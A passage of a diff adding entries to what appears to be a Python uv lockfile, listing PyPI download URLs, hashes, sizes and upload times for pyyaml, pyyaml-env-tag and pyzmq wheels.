+    { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" },
+    { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" },
+    { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" },
+    { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" },
+    { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" },
+    { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" },
+    { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" },
+]
+
+[[package]]
+name = "pyyaml-env-tag"
+version = "1.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "pyyaml" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/eb/2e/79c822141bfd05a853236b504869ebc6b70159afc570e1d5a20641782eaa/pyyaml_env_tag-1.1.tar.gz", hash = "sha256:2eb38b75a2d21ee0475d6d97ec19c63287a7e140231e4214969d0eac923cd7ff", size = 5737, upload-time = "2025-05-13T15:24:01.64Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/04/11/432f32f8097b03e3cd5fe57e88efb685d964e2e5178a48ed61e841f7fdce/pyyaml_env_tag-1.1-py3-none-any.whl", hash = "sha256:17109e1a528561e32f026364712fee1264bc2ea6715120891174ed1b980d2e04", size = 4722, upload-time = "2025-05-13T15:23:59.629Z" },
+]
+
+[[package]]
+name = "pyzmq"
+version = "27.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "cffi", marker = "implementation_name == 'pypy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/04/0b/3c9baedbdf613ecaa7aa07027780b8867f57b6293b6ee50de316c9f3222b/pyzmq-27.1.0.tar.gz", hash = "sha256:ac0765e3d44455adb6ddbf4417dcce460fc40a05978c08efdf2948072f6db540", size = 281750, upload-time = "2025-09-08T23:10:18.157Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/67/b9/52aa9ec2867528b54f1e60846728d8b4d84726630874fee3a91e66c7df81/pyzmq-27.1.0-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:508e23ec9bc44c0005c4946ea013d9317ae00ac67778bd47519fdf5a0e930ff4", size = 1329850, upload-time = "2025-09-08T23:07:26.274Z" },
+    { url = "https://files.pythonhosted.org/packages/99/64/5653e7b7425b169f994835a2b2abf9486264401fdef18df91ddae47ce2cc/pyzmq-27.1.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:507b6f430bdcf0ee48c0d30e734ea89ce5567fd7b8a0f0044a369c176aa44556", size = 906380, upload-time = "2025-09-08T23:07:29.78Z" },
+    { url = "https://files.pythonhosted.org/packages/73/78/7d713284dbe022f6440e391bd1f3c48d9185673878034cfb3939cdf333b2/pyzmq-27.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf7b38f9fd7b81cb6d9391b2946382c8237fd814075c6aa9c3b746d53076023b", size = 666421, upload-time = "2025-09-08T23:07:31.263Z" },
+    { url = "https://files.pythonhosted.org/packages/30/76/8f099f9d6482450428b17c4d6b241281af7ce6a9de8149ca8c1c649f6792/pyzmq-27.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:03ff0b279b40d687691a6217c12242ee71f0fba28bf8626ff50e3ef0f4410e1e", size = 854149, upload-time = "2025-09-08T23:07:33.17Z" },
+    { url = "https://files.pythonhosted.org/packages/59/f0/37fbfff06c68016019043897e4c969ceab18bde46cd2aca89821fcf4fb2e/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:677e744fee605753eac48198b15a2124016c009a11056f93807000ab11ce6526", size = 1655070, upload-time = "2025-09-08T23:07:35.205Z" },
+    { url = "https://files.pythonhosted.org/packages/47/14/7254be73f7a8edc3587609554fcaa7bfd30649bf89cd260e4487ca70fdaa/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd2fec2b13137416a1c5648b7009499bcc8fea78154cd888855fa32514f3dad1", size = 2033441, upload-time = "2025-09-08T23:07:37.432Z" },
+    { url = "https://files.pythonhosted.org/packages/22/dc/49f2be26c6f86f347e796a4d99b19167fc94503f0af3fd010ad262158822/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:08e90bb4b57603b84eab1d0ca05b3bbb10f60c1839dc471fc1c9e1507bef3386", size = 1891529, upload-time = "2025-09-08T23:07:39.047Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/3e/154fb963ae25be70c0064ce97776c937ecc7d8b0259f22858154a9999769/pyzmq-27.1.0-cp310-cp310-win32.whl", hash = "sha256:a5b42d7a0658b515319148875fcb782bbf118dd41c671b62dae33666c2213bda", size = 567276, upload-time = "2025-09-08T23:07:40.695Z" },
+    { url = "https://files.pythonhosted.org/packages/62/b2/f4ab56c8c595abcb26b2be5fd9fa9e6899c1e5ad54964e93ae8bb35482be/pyzmq-27.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:c0bb87227430ee3aefcc0ade2088100e528d5d3298a0a715a64f3d04c60ba02f", size = 632208, upload-time = "2025-09-08T23:07:42.298Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/e3/be2cc7ab8332bdac0522fdb64c17b1b6241a795bee02e0196636ec5beb79/pyzmq-27.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:9a916f76c2ab8d045b19f2286851a38e9ac94ea91faf65bd64735924522a8b32", size = 559766, upload-time = "2025-09-08T23:07:43.869Z" },
+    { url = "https://files.pythonhosted.org/packages/06/5d/305323ba86b284e6fcb0d842d6adaa2999035f70f8c38a9b6d21ad28c3d4/pyzmq-27.1.0-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:226b091818d461a3bef763805e75685e478ac17e9008f49fce2d3e52b3d58b86", size = 1333328, upload-time = "2025-09-08T23:07:45.946Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/a0/fc7e78a23748ad5443ac3275943457e8452da67fda347e05260261108cbc/pyzmq-27.1.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0790a0161c281ca9723f804871b4027f2e8b5a528d357c8952d08cd1a9c15581", size = 908803, upload-time = "2025-09-08T23:07:47.551Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/22/37d15eb05f3bdfa4abea6f6d96eb3bb58585fbd3e4e0ded4e743bc650c97/pyzmq-27.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c895a6f35476b0c3a54e3eb6ccf41bf3018de937016e6e18748317f25d4e925f", size = 668836, upload-time = "2025-09-08T23:07:49.436Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/c4/2a6fe5111a01005fc7af3878259ce17684fabb8852815eda6225620f3c59/pyzmq-27.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5bbf8d3630bf96550b3be8e1fc0fea5cbdc8d5466c1192887bd94869da17a63e", size = 857038, upload-time = "2025-09-08T23:07:51.234Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/eb/bfdcb41d0db9cd233d6fb22dc131583774135505ada800ebf14dfb0a7c40/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:15c8bd0fe0dabf808e2d7a681398c4e5ded70a551ab47482067a572c054c8e2e", size = 1657531, upload-time = "2025-09-08T23:07:52.795Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/21/e3180ca269ed4a0de5c34417dfe71a8ae80421198be83ee619a8a485b0c7/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:bafcb3dd171b4ae9f19ee6380dfc71ce0390fefaf26b504c0e5f628d7c8c54f2", size = 2034786, upload-time = "2025-09-08T23:07:55.047Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/b1/5e21d0b517434b7f33588ff76c177c5a167858cc38ef740608898cd329f2/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e829529fcaa09937189178115c49c504e69289abd39967cd8a4c215761373394", size = 1894220, upload-time = "2025-09-08T23:07:57.172Z" },
+    { url = "https://files.pythonhosted.org/packages/03/f2/44913a6ff6941905efc24a1acf3d3cb6146b636c546c7406c38c49c403d4/pyzmq-27.1.0-cp311-cp311-win32.whl", hash = "sha256:6df079c47d5902af6db298ec92151db82ecb557af663098b92f2508c398bb54f", size = 567155, upload-time = "2025-09-08T23:07:59.05Z" },
+    { url = "https://files.pythonhosted.org/packages/23/6d/d8d92a0eb270a925c9b4dd039c0b4dc10abc2fcbc48331788824ef113935/pyzmq-27.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:190cbf120fbc0fc4957b56866830def56628934a9d112aec0e2507aa6a032b97", size = 633428, upload-time = "2025-09-08T23:08:00.663Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/14/01afebc96c5abbbd713ecfc7469cfb1bc801c819a74ed5c9fad9a48801cb/pyzmq-27.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:eca6b47df11a132d1745eb3b5b5e557a7dae2c303277aa0e69c6ba91b8736e07", size = 559497, upload-time = "2025-09-08T23:08:02.15Z" },
+    { url = "https://files.pythonhosted.org/packages/92/e7/038aab64a946d535901103da16b953c8c9cc9c961dadcbf3609ed6428d23/pyzmq-27.1.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:452631b640340c928fa343801b0d07eb0c3789a5ffa843f6e1a9cee0ba4eb4fc", size = 1306279, upload-time = "2025-09-08T23:08:03.807Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/5e/c3c49fdd0f535ef45eefcc16934648e9e59dace4a37ee88fc53f6cd8e641/pyzmq-27.1.0-cp312-abi3-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1c179799b118e554b66da67d88ed66cd37a169f1f23b5d9f0a231b4e8d44a113", size = 895645, upload-time = "2025-09-08T23:08:05.301Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/e5/b0b2504cb4e903a74dcf1ebae157f9e20ebb6ea76095f6cfffea28c42ecd/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3837439b7f99e60312f0c926a6ad437b067356dc2bc2ec96eb395fd0fe804233", size = 652574, upload-time = "2025-09-08T23:08:06.828Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/9b/c108cdb55560eaf253f0cbdb61b29971e9fb34d9c3499b0e96e4e60ed8a5/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43ad9a73e3da1fab5b0e7e13402f0b2fb934ae1c876c51d0afff0e7c052eca31", size = 840995, upload-time = "2025-09-08T23:08:08.396Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/bb/b79798ca177b9eb0825b4c9998c6af8cd2a7f15a6a1a4272c1d1a21d382f/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0de3028d69d4cdc475bfe47a6128eb38d8bc0e8f4d69646adfbcd840facbac28", size = 1642070, upload-time = "2025-09-08T23:08:09.989Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/80/2df2e7977c4ede24c79ae39dcef3899bfc5f34d1ca7a5b24f182c9b7a9ca/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf44a7763aea9298c0aa7dbf859f87ed7012de8bda0f3977b6fb1d96745df856", size = 2021121, upload-time = "2025-09-08T23:08:11.907Z" },
+    { url = "https://files.pythonhosted.org/packages/46/bd/2d45ad24f5f5ae7e8d01525eb76786fa7557136555cac7d929880519e33a/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:f30f395a9e6fbca195400ce833c731e7b64c3919aa481af4d88c3759e0cb7496", size = 1878550, upload-time = "2025-09-08T23:08:13.513Z" },
+    { url = "https://files.pythonhosted.org/packages/e6/2f/104c0a3c778d7c2ab8190e9db4f62f0b6957b53c9d87db77c284b69f33ea/pyzmq-27.1.0-cp312-abi3-win32.whl", hash = "sha256:250e5436a4ba13885494412b3da5d518cd0d3a278a1ae640e113c073a5f88edd", size = 559184, upload-time = "2025-09-08T23:08:15.163Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/7f/a21b20d577e4100c6a41795842028235998a643b1ad406a6d4163ea8f53e/pyzmq-27.1.0-cp312-abi3-win_amd64.whl", hash = "sha256:9ce490cf1d2ca2ad84733aa1d69ce6855372cb5ce9223802450c9b2a7cba0ccf", size = 619480, upload-time = "2025-09-08T23:08:17.192Z" },
+    { url = "https://files.pythonhosted.org/packages/78/c2/c012beae5f76b72f007a9e91ee9401cb88c51d0f83c6257a03e785c81cc2/pyzmq-27.1.0-cp312-abi3-win_arm64.whl", hash = "sha256:75a2f36223f0d535a0c919e23615fc85a1e23b71f40c7eb43d7b1dedb4d8f15f", size = 552993, upload-time = "2025-09-08T23:08:18.926Z" },
+    { url = "https://files.pythonhosted.org/packages/60/cb/84a13459c51da6cec1b7b1dc1a47e6db6da50b77ad7fd9c145842750a011/pyzmq-27.1.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:93ad4b0855a664229559e45c8d23797ceac03183c7b6f5b4428152a6b06684a5", size = 1122436, upload-time = "2025-09-08T23:08:20.801Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/b6/94414759a69a26c3dd674570a81813c46a078767d931a6c70ad29fc585cb/pyzmq-27.1.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:fbb4f2400bfda24f12f009cba62ad5734148569ff4949b1b6ec3b519444342e6", size = 1156301, upload-time = "2025-09-08T23:08:22.47Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/ad/15906493fd40c316377fd8a8f6b1f93104f97a752667763c9b9c1b71d42d/pyzmq-27.1.0-cp313-cp313t-macosx_10_15_universal2.whl", hash = "sha256:e343d067f7b151cfe4eb3bb796a7752c9d369eed007b91231e817071d2c2fec7", size = 1341197, upload-time = "2025-09-08T23:08:24.286Z" },
+    { url = "https://files.pythonhosted.org/packages/14/1d/d343f3ce13db53a54cb8946594e567410b2125394dafcc0268d8dda027e0/pyzmq-27.1.0-cp313-cp313t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:08363b2011dec81c354d694bdecaef4770e0ae96b9afea70b3f47b973655cc05", size = 897275, upload-time = "2025-09-08T23:08:26.063Z" },
+    { url = "https://files.pythonhosted.org/packages/69/2d/d83dd6d7ca929a2fc67d2c3005415cdf322af7751d773524809f9e585129/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d54530c8c8b5b8ddb3318f481297441af102517602b569146185fa10b63f4fa9", size = 660469, upload-time = "2025-09-08T23:08:27.623Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/cd/9822a7af117f4bc0f1952dbe9ef8358eb50a24928efd5edf54210b850259/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f3afa12c392f0a44a2414056d730eebc33ec0926aae92b5ad5cf26ebb6cc128", size = 847961, upload-time = "2025-09-08T23:08:29.672Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/12/f003e824a19ed73be15542f172fd0ec4ad0b60cf37436652c93b9df7c585/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c65047adafe573ff023b3187bb93faa583151627bc9c51fc4fb2c561ed689d39", size = 1650282, upload-time = "2025-09-08T23:08:31.349Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/4a/e82d788ed58e9a23995cee70dbc20c9aded3d13a92d30d57ec2291f1e8a3/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:90e6e9441c946a8b0a667356f7078d96411391a3b8f80980315455574177ec97", size = 2024468, upload-time = "2025-09-08T23:08:33.543Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/94/2da0a60841f757481e402b34bf4c8bf57fa54a5466b965de791b1e6f747d/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:add071b2d25f84e8189aaf0882d39a285b42fa3853016ebab234a5e78c7a43db", size = 1885394, upload-time = "2025-09-08T23:08:35.51Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/6f/55c10e2e49ad52d080dc24e37adb215e5b0d64990b57598abc2e3f01725b/pyzmq-27.1.0-cp313-cp313t-win32.whl", hash = "sha256:7ccc0700cfdf7bd487bea8d850ec38f204478681ea02a582a8da8171b7f90a1c", size = 574964, upload-time = "2025-09-08T23:08:37.178Z" },
+    { url = "https://files.pythonhosted.org/packages/87/4d/2534970ba63dd7c522d8ca80fb92777f362c0f321900667c615e2067cb29/pyzmq-27.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:8085a9fba668216b9b4323be338ee5437a235fe275b9d1610e422ccc279733e2", size = 641029, upload-time = "2025-09-08T23:08:40.595Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/fa/f8aea7a28b0641f31d40dea42d7ef003fded31e184ef47db696bc74cd610/pyzmq-27.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6bb54ca21bcfe361e445256c15eedf083f153811c37be87e0514934d6913061e", size = 561541, upload-time = "2025-09-08T23:08:42.668Z" },
+    { url = "https://files.pythonhosted.org/packages/87/45/19efbb3000956e82d0331bafca5d9ac19ea2857722fa2caacefb6042f39d/pyzmq-27.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ce980af330231615756acd5154f29813d553ea555485ae712c491cd483df6b7a", size = 1341197, upload-time = "2025-09-08T23:08:44.973Z" },
+    { url = "https://files.pythonhosted.org/packages/48/43/d72ccdbf0d73d1343936296665826350cb1e825f92f2db9db3e61c2162a2/pyzmq-27.1.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1779be8c549e54a1c38f805e56d2a2e5c009d26de10921d7d51cfd1c8d4632ea", size = 897175, upload-time = "2025-09-08T23:08:46.601Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/2e/a483f73a10b65a9ef0161e817321d39a770b2acf8bcf3004a28d90d14a94/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7200bb0f03345515df50d99d3db206a0a6bee1955fbb8c453c76f5bf0e08fb96", size = 660427, upload-time = "2025-09-08T23:08:48.187Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/d2/5f36552c2d3e5685abe60dfa56f91169f7a2d99bbaf67c5271022ab40863/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01c0e07d558b06a60773744ea6251f769cd79a41a97d11b8bf4ab8f034b0424d", size = 847929, upload-time = "2025-09-08T23:08:49.76Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/2a/404b331f2b7bf3198e9945f75c4c521f0c6a3a23b51f7a4a401b94a13833/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:80d834abee71f65253c91540445d37c4c561e293ba6e741b992f20a105d69146", size = 1650193, upload-time = "2025-09-08T23:08:51.7Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/0b/f4107e33f62a5acf60e3ded67ed33d79b4ce18de432625ce2fc5093d6388/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:544b4e3b7198dde4a62b8ff6685e9802a9a1ebf47e77478a5eb88eca2a82f2fd", size = 2024388, upload-time = "2025-09-08T23:08:53.393Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/01/add31fe76512642fd6e40e3a3bd21f4b47e242c8ba33efb6809e37076d9b/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cedc4c68178e59a4046f97eca31b148ddcf51e88677de1ef4e78cf06c5376c9a", size = 1885316, upload-time = "2025-09-08T23:08:55.702Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/59/a5f38970f9bf07cee96128de79590bb354917914a9be11272cfc7ff26af0/pyzmq-27.1.0-cp314-cp314t-win32.whl", hash = "sha256:1f0b2a577fd770aa6f053211a55d1c47901f4d537389a034c690291485e5fe92", size = 587472, upload-time = "2025-09-08T23:08:58.18Z" },
+    { url = "https://files.pythonhosted.org/packages/70/d8/78b1bad170f93fcf5e3536e70e8fadac55030002275c9a29e8f5719185de/pyzmq-27.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:19c9468ae0437f8074af379e986c5d3d7d7bfe033506af442e8c879732bedbe0", size = 661401, upload-time = "2025-09-08T23:08:59.802Z" },
+    { url = "https://files.pythonhosted.org/packages/81/d6/4bfbb40c9a0b42fc53c7cf442f6385db70b40f74a783130c5d0a5aa62228/pyzmq-27.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dc5dbf68a7857b59473f7df42650c621d7e8923fb03fa74a526890f4d33cc4d7", size = 575170, upload-time = "2025-09-08T23:09:01.418Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/81/a65e71c1552f74dec9dff91d95bafb6e0d33338a8dfefbc88aa562a20c92/pyzmq-27.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c17e03cbc9312bee223864f1a2b13a99522e0dc9f7c5df0177cd45210ac286e6", size = 836266, upload-time = "2025-09-08T23:09:40.048Z" },
+    { url = "https://files.pythonhosted.org/packages/58/ed/0202ca350f4f2b69faa95c6d931e3c05c3a397c184cacb84cb4f8f42f287/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:f328d01128373cb6763823b2b4e7f73bdf767834268c565151eacb3b7a392f90", size = 800206, upload-time = "2025-09-08T23:09:41.902Z" },
+    { url = "https://files.pythonhosted.org/packages/47/42/1ff831fa87fe8f0a840ddb399054ca0009605d820e2b44ea43114f5459f4/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c1790386614232e1b3a40a958454bdd42c6d1811837b15ddbb052a032a43f62", size = 567747, upload-time = "2025-09-08T23:09:43.741Z" },
